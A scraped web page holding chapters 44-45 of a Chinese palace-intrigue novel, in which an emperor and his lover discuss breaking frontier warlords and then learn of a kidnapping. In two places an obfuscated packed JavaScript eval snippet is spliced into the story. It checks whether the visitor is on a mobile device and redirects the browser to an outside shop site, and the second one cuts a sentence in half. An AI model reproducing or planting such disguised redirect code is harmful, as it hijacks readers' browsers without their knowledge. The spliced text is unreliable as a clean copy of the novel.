他到鹧鸪殿,发现赵毓似醒非醒的还在睡,柳丛容在司礼监,这里只有黄枞菖一人,他便让黄枞菖为他脱去外袍,和衣躺在床榻外侧。 “看你睡的,鼻尖上都是汗,热不热?” “你离我远一些就好。” 赵毓迷糊着想要往里挪一下,被文湛揽住,随即慢慢转过身,面对他侧躺着。 文湛拿了扇子,轻轻摇着,“说你身子骨差,你还不认。” “得了,再好的身子骨也禁不起你这么折腾。我这几天在绮镇也的确挺伤神的,回来多睡一会儿。你要是还有别的事,别在这里腻着了。” 赵毓闭着眼睛推了推文湛,没推动。 “正晌午,外面热,我陪你多躺一会儿。” 文湛在这里躺了半个时辰,就试着将赵毓也从床榻上拉起来。 “白天睡多了,夜里睡不着,晨昏颠倒,小心头疼。” 黄枞菖捧着凉好决明子茶进来。他看见赵毓还是迷糊,却是坐着,头靠在皇帝的肩上,文湛待他醒了醒神儿之后,就从黄枞菖的托盘中拿过决明子茶,一点一点慢慢喂赵毓喝下去,又让黄枞菖绞了布巾过来,帮赵毓擦了擦脸。 黄枞菖有些惊异!当年赵毓还是皇长子,黄枞菖从小就是他的伴当,后来则是祈王府的总管太监。赵毓被褫夺王爵之前,他们一直在一起,赵毓的一切都是他伺候,从小到大,他叫赵毓起床不知道用尽了多少心机,挠脚丫,扯被子,大叫,甚至掐脖子,在脸上泼凉水,凡是能用的招数都用了,却从来没有用过此时皇帝的这种温柔招数,——怪不得人家做主子,连伺候人的活儿都比奴婢们做的好,奇也怪哉! 他感觉,这次赵毓同皇帝出门,好像有什么不一样了。 具体什么,他说不上来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728901|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两年前赵毓从西北回来,当时的他有一种倦鸟归林,尘埃落定的平静。 但是这次出行之后,赵毓与皇帝之间平静被烧掉了,不说别的,单说这两位之间的柔情蜜意,可以把殿外的红莲叶子都烤焦糊了。 “醒了,要去泡温泉吗?”文湛问他。 “嗯。”赵毓还是迷糊。 鹧鸪殿外有泉眼,也修了一个温泉池子。赵毓一进水池,似乎就醒了,他甩了甩头,终于把困意甩掉。 夏季多雨,不多时,暴雨如同帷幕一般,覆盖了整个大正宫。 等赵毓泡完温泉,出来,黄枞菖伺候他穿衣,唉声叹气的,“哎,……” “怎么了这是。”赵毓扭头看着他那张苦瓜脸,“穷了?没事儿,这次我弄了不少钱,有空我给你送点儿进来。” “不是我。”鹧鸪殿空旷,毗邻太液池,暴雨时风冷,黄枞菖将外袍给赵毓披上,“祖宗,悠着点吧,您这跟主子一折腾就是一晚上,那叫声也忒狠了点。柳丛容在外面候着都快撑不住了,我看他冷汗都下来了。再说,这一身青青紫紫的,看着瘆人。” 赵毓那一张犹如雍京城墙拐弯一般厚的脸皮有些发热,他内心难得好好反省了反省,——最近是不是过于色令智昏? 应该,也许,是。 他决定要回去念几遍清心寡欲咒。 只是,当赵毓回到鹧鸪殿,看见一桌清淡却丰盛的食物还有文湛的时候,念咒的心就有些反复,随后,当文湛照例抱他坐在腿上进食的时候,那点反省与去念咒的心思早就如同太庙香火熏着的祖训,断断续续的,烟消云散了。 黄枞菖,“……” 文湛手指拿着象牙包金的筷子,给他喂了一口鱼,“西北道走私很厉害?” 赵毓难得没有被鱼肉扰乱想法,看了看文湛,“我以为你知道,边境不走私养不了兵。” 随后,文湛喂了他几口米饭,两口菜蔬,还有几只新鲜的河虾,赵毓就感觉有些吃饱了,天气太热,胃口不好。 “我知道。”文湛又拿过一个玉碗,里面是冰湃过的水果,淋了一层蜂蜜,他用金叉插|起来一块蜜瓜,喂进赵毓嘴中,“只是没想到这样明目张胆。” “西北道只是一群中下层不得志的军官与游兵散勇,他们就是出个苦力,得点散碎银两,真正拿大头的另有其人。” 文湛,“谁?” 赵毓又看了看他,不说话,此时,文湛喂了他一颗葡萄。 文湛,“你不说我都知道是谁。我的那些藩镇?” 赵毓点了点头,“叫他们藩镇也是大家浑说的。大郑五百余年没有设过节度使,当年圣王鹤玉雄主暮政,晚年昏聩出了岸世之乱,朝廷为了应对才设立了几大节度使,却导致了之后一百余年的藩镇割据,要不是宪宗南征北战结束乱世,大郑早就分崩离析了。现在朝廷用兵部的官员总督地方军务,只是西北、北境常年用兵,又距离雍京太远,加上那些边境上的镇守将军可以世袭,可以征税,隐隐约约有藩镇的气象。目前看,不成大气候。” 文湛却说,“等这些藩镇真成了大气候,再想做什么就被动了。” 几百年了,凡是坐在皇位的人对于藩镇一向极为忌惮,文湛也不例外,“承怡,你觉得,我应该怎么对待他们?” 赵毓又不说话。 文湛则说,“没良心,喂你这么多好吃的,都打动不了你,和我说几句实话?” 赵毓,“呃……” 他看了看黄枞菖,那个人也在司礼监,当然知道什么话应该说,什么话不应该说,不过此时他好像又蔫了,一直在旁边站着,不是看碗里,就是看碗里,或者还是看碗里。 “这事儿不归我管,”赵毓不吃了,省的被文湛说没良心。 文湛又给他喂了一口葡萄,“你在边境多年,这些事情你明白。我们就是闲聊,你忌讳什么?” 赵毓口齿不清,“不过就两条路。 一条路就是先帝,先帝的亲爹,先帝的亲爷爷那样,对于那些藩镇使用离间计,让他们自己打自己,雍京就安稳了。朝廷只要拉拉这个,打打那个,这个打一个棒子给一颗甜枣,那个给一个甜枣打一棒子。除掉树大根深的,换上根基尚浅的,只要你让他们觉得,一个藩镇被铲除绝对是他自己的错,而不是你这个白眼狼想要卸磨杀驴,或者文绉绉一点,狡兔死走狗烹,他们认为,虽然有很多藩镇将军死了,总有人还可以活下去,总有人继续割据一方,总有人公侯万代,这就可以啦!这些手腕《战国策》里面都有,比照着做就是的。这样做,简单方便,权谋这方面,我没见过比你手腕高超的,只不过,这样可以保一世两世的安稳,一旦帝位上的人弱一些,朝廷力虚一些,又会回到群雄割据的年代中。” 文湛,“另外一条路?” 赵毓,“废除所有可以世袭的镇守将军,能顺的就发点黄金让他们回老家种地养老,不顺的就杀,收编他们所有的军队,朝廷养兵,同时将宁州总督,宣大总督还有辽州总督所能管辖的区域向西北、向北境阔,这是一劳永逸的方法,但是,……” 文湛用勺子盛了桂花酸梅汤给他。 赵毓,“这么做应该会让那些领兵的将军们心寒,人家本来想着拼命之后可以裂土封侯,谁想到让你给点黄金打发回老家去了。他们不说,可是的确都有着挟天子以令诸侯的野心,却最后只能在老家做个富裕的田舍翁,那种破败不是一句话两句话能安抚的。我怕如果有强敌来犯,小心没人为你出征。” 文湛就着这个勺子,也给自己舀来一口酸梅汤,喝掉,“一个藩镇被铲除绝对是他自己的错,……,那就造成垓下之围,十面埋伏,让他们做困兽之斗好了。我看石家不错,可以用来试剑。” 赵毓,“……” 44. 44 44 文湛,“怎么不说话?” 赵毓,“所以,你是想直接卸磨杀驴,并且也赖着不给黄金?” 文湛低头,把赵毓刚才剩的半碗米饭吃了,随后才点头,“虽然听上去的确有些白眼狼,也不好听,不过好像就是这样。这些藩镇都是外面吃肉喝血养大的野狼,我就算是用黄金浇筑成狗链子套住他们,他们也能撕咬掉束缚。与其这样,还不如从一开始就斩草除根。” 赵毓,“那可要小心,小心这群狼凑到一块,合起伙来咬你。” 文湛,“我小时候,父皇曾经告诉我一个故事。太|祖暮年收到缇骑北镇府司的密折,开国功臣金陵郡王与淮安侯意图谋反,太|祖想杀却担心落下诛杀功臣的千古骂名,于是将这两个人分别关在诏狱的南北两侧。那时,金陵郡王与淮安侯都知道对方也在诏狱却无法串供。” 赵毓动了动。 文湛,“怎么?” 赵毓,“我还是坐旁边去吧,你刚才只喂我还没顾上吃东西,我让你安心吃两口饭。” 文湛,“不用,这样挺好。” 他的饭碗空了,让黄枞菖又盛了一碗米饭过来。——官窑的精细瓷碗,足可以传世,瓷碗中盛放的就是玉碎珍珠,一颗一颗,浅绿色,晶莹剔透。 文湛先不吃,继续讲故事,“太|祖派人分别告知金陵郡王与淮安侯,如果他们都不说话,则两位只是削爵;如果一人出首对方,则告发者免罪,被告发者如罪证确凿,交由三法司定罪,极有可能会被抄家,其人以及长子死,其余家人流放;如果两人互相出首,则那两位身死,长子流放,家人谴回原籍。承怡,你觉得,他们应该怎么做?” 赵毓,“当然是打死也不说。不过,这是不可能的。” 文湛,“他们二人互相攀咬,扯出来的往昔罪证简直令朝野震惊。最后,不止金陵郡王与淮安侯被灭族,还牵扯进七家开国勋臣,十二家文官,如果不是大学士林邵长媳是太|祖元平公主,太|祖念旧,好歹留了一条命,那些开国文臣武几乎在那一次俱被灭族了。” “父皇说,对待外敌可以坚壁清野;对待朝堂,只要做出一个坚固的牢笼,再告诉他们怎么做可以得到奖赏,怎么做可以得到惩罚就可以了。” “那些藩镇就算是狼群,也绝对无法联合起来。只要把金陵郡王与淮安侯的例子反复应用,那些人都害怕惩罚渴望奖赏,反复几次,他们连奖赏都不渴望了,只会因为对方的背叛而愤怒,剩下的就是无休止的互相惩罚。” 赵毓,“呃,你多小听到的这个故事。” 文湛,“四岁。” 赵毓,“……” 文湛,“怎么?” 赵毓,“我四岁的时候,我娘给我讲的故事是:从前有座山,山上有个庙,庙里有个老和尚,他给大家讲故事,讲的是,从前有座山,山上有个庙,庙里有个老和尚,他给大家讲故事,讲的是,……” 文湛,“……” 随后,他拿起来饭碗,象牙包金的筷子夹起来几粒米。 “玉碎珍珠。能顿顿吃这种米的人,平时说起话来都是存天理灭人欲、圣人言、子曰诗云,只是,要是真到了关乎功勋官位田产税银女人子息的时候,让他们稍微向后退一步,就如同压着狼不让它吃面前新鲜的血肉。现在大郑国力强盛,还压得住他们,真到了国家危急存亡之秋,这些人,怕不会对社稷黎民撕裂血肉,敲骨吸髓?” 赵毓的手指抓了抓文湛的头发,像是不露痕迹的安慰。 文湛开始安静的吃饭,赵毓无事可做,他一颗葡萄一颗葡萄的慢慢吃着。 赵毓天生骨架细,二十三岁之后居然又长高了一些,就显得身量更细了,尤其是他的腰身,还真有一种楚腰的感觉,此时窝在文湛怀中,竟然像是还在少年时。 文湛还在东宫时,当时禁宫就传说储君爱细腰,有些不明就里的宫人真以为太子喜欢那种楚腰纤细掌中轻,于是饿饭的风气开始蔓延,甚至有人发明了一种腰带,一寸那么宽,用针细密的缝了,比牛皮还坚忍不拔,咬着牙往自己身上勒,弄的平时呼吸不畅,人也差点饿死。 其实,文湛只是喜欢承怡,对于他来说,承怡是楚腰还是水桶腰都无所谓,即使别人把自己腰勒成一条柳枝,他也看不见。 只是,…… “承怡。” “嗯?” “你要是女子,分娩的时候肯定会受罪。” 赵毓,“……” 一不小心,一整个葡萄沿着喉咙骨碌下去,差点噎死他。 文湛连忙放下碗,帮他轻拍后背。 赵毓,“你怎么会有这么奇诡荒谬的想法?不过,如果我是女子,我们根本不可能在一起,你甚至都不会认识我。” 他本来想着随便说完,这话茬就算过去了,谁想到文湛却追问,“为什么?” 赵毓,“这不是明摆着吗?” 文湛,“嗯?” 赵毓,“你有几位庶姐,其中两位和我年纪相仿,甚至有一位还与我同年,另外一位只比我小七个月,那我问问你,我说的是哪两位公主?” 文湛,“……” 赵毓知道他记不住,轻轻摇头,“清河长公主与容川长公主。你看,如果我不是顶着皇子的名号去毓正宫读书,就会同这两位长公主一样,你根本连人都分不清楚。” “你不一样。”文湛有些加词狡辩,“你就算不去毓正宫读书,我们在禁宫中也会遇到,我对你一样会动心,我们还是会在一起。” 赵毓叹口气,继续说,“我就不问你这两位公主的乳名了,想来你也不记得。那我问问,你知道这两位公主被赐婚的时候多大吗?” 文湛,“……” 赵毓,“清河十三岁,容川十四岁,都不到十五,按照民间的说法,都没有及笄。” 文湛,“哦。” 赵毓,“如果我是女子,就是先帝庶出的大公主,肯定在十三四岁就被赐婚,那个时候你才九岁,还在毓正宫临字帖,你怎么可能记得一个宫女所生的庶出姐姐呢?不过,这个设想挺有意思。”他被文湛这个荒谬的想法勾起了兴趣,“要是我是女子,我肯定不会认识你,我们也不会有这一世的姻缘,那我会同谁有姻缘呢?文湛,我问问你,这两位公主的驸马是什么人?” 文湛,“清河嫁入汝南侯府,容川的驸马应该不是勋贵,好像姓谢。” 赵毓,“你居然知道?” 文湛,“帝婿的族谱,我肯定知道一些,不过不够仔细。” 赵毓,“清河长公主的驸马是嫡次子。驸马是虚职,娶了公主驸马的前途就毁了,汝南侯舍不得嫡长子的前途,就拿小儿子来同公主成婚。清河可以嫁入勋贵家族,这还是因为她的母妃是杜贵妃,他外公是当年的首辅杜皬。” “至于容川长公主嘛,她的驸马就是熊县一个富户,当然,谢家占着雄县三分之二的土地,富的有些流油了,并且曾祖父曾经是昭宗时的礼部尚书。谢驸马尚主是因为谢家科举之路实在坎坷,连续几辈子,不要说进士,连个秀才都没有一个,再不和权贵拉上一些关系,下一年的地租子都要开始缴了。” 赵毓自言自语。 “我娘当时只是一个比宫女稍微高一阶的美人,崔家又是草根,那些勋贵肯定不会为了一个亲娘如此贫寒的庶出的公主就毁了一个子弟的前途,那些勋贵家族注定与我无缘了。那么,我能认识的人,……,哦,有楚蔷生!不对,如果我不去毓正宫也不可能认识他,再说,先帝也不会为了一个庶出公主就毁了一把镇国利剑的前途。最后,好像只能剩下老崔。他是我表哥,估计舅妈会让他尚主,他又野又倔,肯定不乐意,但是我娘与舅妈镇着,估计他乐意也得乐意,不乐意也得乐意。 “哈哈哈哈哈,实在太有意思了。文湛,你看,我想来想去,如果我是女子,最后居然是老崔尚主。” “咦,说起来,老崔走了好像有段时日了,也不知道什么时候回雍京。” 赵毓笑完,忽然发现皇帝的脸色不太对。 此时,文湛微微低着头。 虽然他这个样子可以凸显那两道鸦翅一般的眉,让他有一种不可言说的清俊,只是他这个清俊的颜色不太对。 文湛将瓷碗拿起来,看了看其中的玉碎珍珠,那种淡绿色看起来就像他的脸色一样,随即放下碗,“不吃了,饱了。” “呃,……”赵毓轻声问了一句,“我是不是又说错什么了?” 他剥开一粒葡萄,喂到文湛嘴边,文湛也吃了。葡萄用冰水湃过,味道是冻的,更显出清甜的味道。 文湛咽下才说,“不是你说错了,是我错了,我不应该想一些有的没的。你如果不是你,那就没有任何意义了。” “还有,……” “如果你只是庶出的公主,母后不会对你多有忌惮,至于你是不是父皇的骨血,只要父皇认了,母后也不会计较,……,我也是。” “那样,你永远只是我的庶姐。我可以为承怡你做出悖逆列祖列宗的事,只是,让我对一个娇纵的庶姐念念不忘,甚至可能在她嫁为臣妇之后,还对重臣之妻有非分之想,这样的事情,我做不出来。” 赵毓又给他剥了一粒葡萄,“你怎么会忌惮我?我没有资格成为你的敌人吧,……” “你天生有蛊惑人心的天赋。”文湛吃掉葡萄,还不忘咬咬赵毓的手指尖,“你很轻易让别人喜欢你。” 赵毓,“应该是我遇到的人都很宽厚。” 文湛居然点头,“没错,这天底下最良善的人都在大正宫。” 赵毓,“……” …… 南郊荒地。 这里毗邻猎宫,在皇家猎场外有一大片山林。 楚蔷生今日休沐,赵毓约他出来骑马,赵格非也在。赵毓想着,连续几天的暴雨,天气凉爽,他们在猎场外骑马散散心。 赵格非好久没有出来骑马了,她在楚府乖顺的像个真正的大门不出二门不迈的闺秀,有些闷,这次终于可以出来骑马,她一撒欢,就跑的快了些,将她爹和楚蔷生甩在身后半里地的位置。 赵毓毕竟是写请客票的人,他勒住马,等了一下楚蔷生。 “原本想约你打马球。”赵毓,“后来想了想,还是出来骑马悠闲一些。” “我不会马球。”楚蔷生说,“那是勋贵们的喜好。” “呃,……”赵毓,“也不能这么说,主要是勋贵家族一般喜好骑马,家中都养马,所以他们的孩子们从小骑马习惯了,也就顺便喜欢打马球了。格非也喜欢马球,她并不是勋贵闺秀,只不过家中一直有马,并且我岳父他们也不限制她,让她同男孩子们一起学。格非现在打的不错,就是回到雍京,这里的闺女们一个比一个安静,她也找不到伙伴一起玩了。” 楚蔷生,“我小时候家中没马,但是村子中有土马,牵着不走,打着倒退,我小时候骑着它上山打猎。马倒是会骑,就是不会打马球。看样子,你说的家中有马,应该是有好马。” “呃,好吧,你说的,就是对的。”赵毓,“一会儿,咱们去吃点好东西,这边有家酒楼,上次我和格非还有我家那个小舅子过来了一趟,饭菜都不错。” “承怡,给格非议亲吧。”楚蔷生将马勒在赵毓身边。 赵毓没想到他忽然说这事,“这事先不着急,我想等格非大一些,问问她的意思。” 楚蔷生,“你身边没有合适的女眷,我让我夫人做这件事情。格非终究是尹名扬的外孙女,你准备的嫁妆丰厚,再认我夫人为养母,夫婿的门第不会辱没她。” 赵毓看着远处,那个几乎已经走远的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728902|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘,勒住缰绳,折返回来。她在马背上冲着他们笑,那种光彩比正午的阳光还要令人炫目。 赵毓忽然问楚蔷生,“不会是出什么事了吧,再担心格非的前途,你也不像喜欢说这种事情的人。” 过了一会儿,楚蔷生忽然笑了一下,虽然这个笑有些意味深远,“福建水师提督的夫人,通过徽郡王新纳的侍妾与宫中的崔太贵妃有些往来。这位提督是尹家的表亲,而后宫这位贵人,想必是看中了格非,有那么一点想要让她进宫侍奉的意思。” 赵毓,“……” 半晌,他好像才回了神儿,“这是尊夫人打听出来的?” 楚蔷生,“有些事情,她们知道的更细致。” 赵毓拍了拍脑门,实在不知道要说什么好,“我娘也是被我逼的没法子了。老楚,让你看笑话了。” 楚蔷生,“这到不是什么笑话,不过我说的,也是我想的。 承怡,我知道你想要格非为自己寻一真正心仪之人,只是大郑礼法森严,世间没有给女子这条路。如果你是一女子,你同陛下也没有这一世的姻缘。 莫说女子了,世人有多少人可以有只得一人,心意相通,白首不相离,生同衾死同穴的福气? 我没有,崔珩没有,裴檀也没有,如果不是陛下守了十年,你最终归来,你同圣上也没有。 如何取舍,还是看你自己的想法。” 楚蔷生说什么话都是点到即止,这一次,他的确越矩,赵毓却非常感激。 “好,你的话,我回去一定好好琢磨琢磨。”赵毓见格非到近前,“先吃饭,我敬你两杯酒,用的都是甜酒,多喝一点也不会醉。” “我能喝烈酒。”楚蔷生,“你喝吗?” 赵毓点头,“喝。那咱们白天不喝酒,晚上到我那里,挖两坛子老窖,让赵大妈给弄点花生米,咱们喝大酒。” 他们到酒楼,因为大人们都不喝酒,格非只有酸梅汤喝,饭菜吃的也简单。三人吃饱,赵毓去结账,赵格非感觉这里的酸梅汤味道不错,让小二用瓷坛子装了两份,拎着去牵马,酒楼前面的街道上有一队人马徐徐过来。 这些人穿着装扮同郑人无异,甚至比一般百姓更华贵一些,只是他们的鼻梁高高,眼睛珠子像琉璃一样,外人一看就知道是西疆那边的异族人。 大郑与西疆十六国打了一百来年的仗,那边很多土地都被撒了盐,原本就贫瘠的地上更是几乎寸草不生。 西疆人为了避战祸也会到大郑的疆土上来生存,虽然日子不好过,但是好歹没有战乱,可以吃上一口安生饭菜。 这里属于南郊猎宫,骑马向北走一个多时辰就是雍京南城,那里歌楼舞榭多,秦楼楚馆也多,西疆有些姑娘漂亮,能歌善舞,她们在雍京讨生活,也多在南城这些地方。所以,在这里出现这队人并不引人注目。 这队人均骑马,众人马中央是一辆马拉车。 那辆车走的也算平稳,不算歪扭,由于这里的官道有些坑洼,车轱辘一下子陷入一个坑中,那些西疆人只能下马推车。他们毕竟人高马大的,一下子就把车从坑中推出,于是,这些人继续上马,在人群中前行。 赵格非看着他们走远,忽然,眼睛瞄到一个东西,她拎着两个坛子到坑前面,蹲下,从坑中拿起来一根苇草,半青不黄的,像是今天清晨刚在河边摘下。 “亲爹,您看这个。”她拿过去给赵毓看,“刚才过去一队西疆人的马队,他们还带着一辆马车,马车曾陷泥中,这是我在泥中捡到的。” 赵毓拿过那根苇草,——上面打这二八一十六个万字结。 “桂宝儿?” 赵格非,“您也觉得是我舅?他不是已经跟随杨进回云中了吗?算算时日,应该早到了吧。” 赵毓反问,“我不在雍京的时候,尹府有没有你舅平安回家的消息递过来?” 赵格非摇头。 赵毓将苇草插|入袖中,“糟糕,可能出事了。” 楚蔷生看了看他们,“怎么了?” 赵毓让他与赵格非赶紧上马,“我小舅子可能让仇人绑了。” 于是,这三人快马加鞭回雍京,却被拦在雍京南门外三里地。 楚蔷生微服也是私事出城,没有带关防,此时,他们只得下马,周围均是被阻拦进城的百姓们,甚至还有几辆官家的马车与一些出城打猎被阻拦回城的华服子弟们。所有人,无论任何人,任何身份,是否有人命关天的要事,无论他们是否有耐心,是否愿意,均在这里等候,据说,此时雍京九门封闭,任何人不允许进出。 半个多时辰之后,官道上过来一队人马,远远看过去声势浩大,却几乎鸦雀无声。 旗官举着宁淮侯-崔的大旗。 现是骑兵。 中间一辆囚车,上面的人看不清楚面目,却是身带重枷,手腕上缠绕着玄铁打造的镣铐。 后面则是步兵。 赵格非忽然拉了一下赵毓的袖子,“亲爹,看,外祖父!” 赵毓晚上看不见东西,白天还算耳聪目明,他在众多人看到他岳父尹明扬,此时大太阳异常毒辣,更显得远处的那位老人脸色颓废。 随后,他看到了崔珩。 老崔的脸色更难看,原本他就像个小白脸的奸臣,现在更像缕游魂了,眼睛下面是青色的,还带着病态。 不知道怎么了,崔珩感觉心神有些不宁,他忽然向人群中看了一眼。 赵毓踩在一块土嘎啦上看着他。 崔珩扭过脸,忽然感觉手指有些抖,勒不住缰绳。 他从袖子中拿出一个小葫芦,里面是兑好的阿|芙|蓉药酒,他喝了一口定了定神,再抬头,雍京南门上的巨大匾额,已经在眼前。 而此时,那边的赵毓却一直死死的盯着他,像一根刺,一直扎在他后背上。 45. 45 45 雍京南门再次开启,已经是掌灯时分了。 赵毓他们进城,到了兰叶巷外,楚蔷生与他分开,“明日有大朝会,天不亮就要进宫,我今晚不到你那里喝酒了。” 赵毓知道他说话都是为自己着想。一开始他们约酒的时候,赵毓不知道明天是大朝会,楚蔷生难道不知道?他只是觉得与自己见面的机会少,听到自己的建议并不推辞,此时知道自己家中有大事发生,也并不打扰。赵毓与楚蔷生拱手告辞。随即,赵毓回家,让看门的赵大叔在后花园中挖出两坛子老窖送到楚蔷生府邸,他自己则带着赵格非去尹府。 尹明扬在正堂。崔珩进城必然先进宫,而尹明扬则没有那个必要,他已致仕,此次回雍京不必对朝堂交待,只需要独自面对皇帝缇骑的问询即可。尹府的管家真没想到尹明扬会来雍京,还身上带着伤。进门的时候,尹明扬身后就是家臣杨进,还有几个人,连当时送尹徵出雍京带走的人都不全,同时,管家再怎么等,也不见尹徵。他不敢多问,只是吩咐下人准备热水,备饭,不一会儿,他们家的姑爷也来了,也带来了大小姐赵格非。管家着人到街上的医馆请人过来为尹明扬看看,这些天车马劳顿,他后背的伤养的不好,却也没有大碍。赵毓就在正堂坐着,丫鬟给上了茶水,他不喝,而赵格非则坐在他下手边。等送走了大夫,赵毓从袖子中掏出那个打了十六个结的苇草,让赵格非放到尹明扬手边的桌案上。 赵毓,“爹,我今天带着格非到南郊猎场骑马,这是她在街上捡到的。桂宝儿他,……” 尹明扬长长吐出一口气,似乎这口气一出来,他比之前看起来更加的憔悴与苍老。他点头,“他让人掳走了。” 赵毓,“谁?” 尹明扬,“洪丁。” 赵毓,“寻仇?” 尹明扬,“一半是,还有另外一半是换人。” 赵毓,“换谁?何晋儿子何初云?” 尹明扬点头,“是。” 赵毓,“明白了,桂宝儿应该能活。”……只是,会受罪,希望不要到时候,人找了回来,也废了。 这后半句,赵毓是无论如何都说不出口的。此时,尹明扬才看了一眼他,眼神透着说出话的复杂。 赵毓,“爹,尹徵被抓的时候,你怎么不换?” 尹明扬,“当年错过一次,不能再错一次。如果不是当年何晋,我们同洪丁也不会结下私仇。还有,何晋在边境有私兵,洪丁想拿何初云收编那些人,图谋不轨。人,绝对不能到他手中。再说,何初云是皇上要的人,不能有失。” 赵毓,“爹您深明大义,老天会眷顾桂宝儿的。” 尹明扬却看不清楚赵毓说话的真假。只是,他们都知道,这次押解何初云的人是宁淮侯崔珩,如果在路上有任何差池,崔珩身上压着的就是重罪。 管家进来,“老爷,饭菜准备好了。” 尹明扬看着赵毓,“一起吃饭吧。” 赵毓摇头,起身,“格非留在这里陪您用饭,我得回去。既然桂宝儿就在雍京,能早找到一天,他就多一份生机。” 尹明扬也不留他。赵毓出门的时候看见下人搬酒进正堂,他本来想要阻止,还是没说话。只是拉着管家在一旁,赵毓说,“您给老爷的酒中多掺点清水,用力掺,别让老爷喝多了。” 管家有些为难,“姑爷,老爷喝出来要骂人的。” 赵毓,“骂两句又死不了人,老爷现在心情不好,想要喝点酒排解排解,但是他有伤,喝多了背上的毒积住,那可真能要人命。再说,堂上有大小姐陪着,老爷极宠她,再怎么生气也会留些情面。您就按我说的做,出了什么事情直接往我身上推。老爷现在心神不定,喝的东西只要有酒味就好,别的,他未必能品出来。” 管家只能点头答应。 赵毓出门,杨进为他牵马过来,“姑爷将大少爷托付与我,让我带回云中,出了这样的事,在下实在有负所托。” 赵毓,“你是想让我揍你一顿,还是怎么着?” 杨进,“悉听尊便。” 赵毓,“谁也不想出事,但是没办法,摊上了,只能扛着。你身上的伤怎么样?” 杨进,“能忍。” 赵毓,“那你先吃饭,然后好好休息,有什么事情需要你做的,我会让人过来叫你,其它有的没的,就别乱想了。” 杨进低头答了“是”,随后想要扶赵毓上马,却被他拒绝了。 赵毓回到家中,让赵大妈给煮了一碗挂面,就开始收拾东西。 他书房里面堆了一些珍贵的药草,还有一个樟木箱,里面则是绮罗留下的一些东西,针,刀子,剪子,镊子和夹子。 赵大妈捧着一大碗窝着三个荷包蛋还有一大滴香油的挂面进来,“老爷,外面有客。” “谁?” “宋尚宫。” 赵毓一听是这个人,连忙捧着大碗出去迎,看见一位身上穿着褐色蜀锦的干净老太太,安静的站在院子中的桂花树下。这就是宋尚宫,后宫崔太贵妃身边最得力的人,也是从小将赵毓带大的嬷嬷。这么多年过去了,禁宫的人来来往往,皇上都换了人了,赵毓从皇子成为亲王再成为庶民,离开雍京,又回了雍京,沧海桑田,风云流散,只有他这位不起眼的老太太,一直都在赵毓母亲身边。 “宋嬷嬷,什么风把您吹来了?”赵毓将面碗放在石桌上,连忙给宋尚宫让座,“咱们有三个月没见了吧,怪想您的。最近雨水多,宫里潮,我给您猎的白虎泡的酒,您用了吗,风湿好些了吗?” “用了,好着呢。”宋尚宫笑着召唤赵毓,“别招呼我了,我又不是客,看你忙的,这一碗面吃的也不踏实。” 赵毓让赵大妈给宋尚宫泡了茶水,“怎么今天有空出宫?您是走亲戚,还是会情郎?” 宋尚宫笑着轻轻打了赵毓一下,“还是那样儿,没个正经。你的面凉了,先吃吧。我记得你胃不好,不能饿的。” 赵毓,“我真饿了,就先吃饭了。” 宋尚宫看着他吃面,还是原来那个样子,筷子挑起来,搅搅,多蘸点香油才放在嘴巴中。 “毓儿,明天,你进宫见见娘娘。” “我娘不见我。”赵毓,“上次我在寿春宫外跪了三个时辰,老天也不好,还下了大雨,我差点晕在那儿,她还是不见。估计就算我跪死在她面前,她也不见。我娘嫌我碍眼。” 宋尚宫,“得了,上次你差点把娘娘气吐血了。” 赵毓,“我怎么气她了?” 宋尚宫,“你说你,你是娘娘的心头肉,就算跑过来在娘娘面前撒娇也好,苦肉计也好,你自己来,别带着那位来。就说上一次,你跪就跪吧,那位就在你身边,一会儿给你撑伞,一会儿给你披蓑衣,一会儿还喂一口红糖姜汤。你自己说说,你那次究竟是求娘娘见你,还是跑过来现眼,好显示你和那位的鹧鸪情深?” “鹣鲽情深。”赵毓吃着饱蘸香油的挂面,还能挑错。 宋尚宫又轻轻拍了一下赵毓的脑袋瓜子,“别管是什么了,要不是那位,娘娘在你跪一刻钟的时候就想要开殿门,结果,……,哎。” 赵毓放下碗。 宋尚宫,“明天你自己过来,如果愿意,将你那个姑娘也带来。” 赵毓,“行,我明天一早就过去。这次我娘要是再不开殿门,我,……” 宋尚宫,“不管怎么说,爹娘不能丢下。你爹去了,先帝也去了,这个世上你只有你娘了,总不能为了那位,亲娘真不要了吧。” 赵毓没说话,看着碗,不知道在想什么。 宋尚宫,“我出来也有些时候了,宫门落锁早,我先回去。” 将宋尚宫送走,赵毓一口安生饭没吃到,就看见崔珩推门进来。他身上已经换了常服,暗色的绸缎袍子上用暗色的金丝银线绣着松柏,绣工细致到甚至柏树上的清霜也隐约分明,他这身显得华美又不扎眼。崔珩人都进了门口了,还看外面,“那位不是宋尚宫吗,她过来做什么?怎么,宫里的娘娘又看你哪里不顺眼了?” “别管人家了,先管管你自己吧。”赵毓就站在他身前,凑到他脸颊旁,嘴角边,还有身上仔细闻闻。 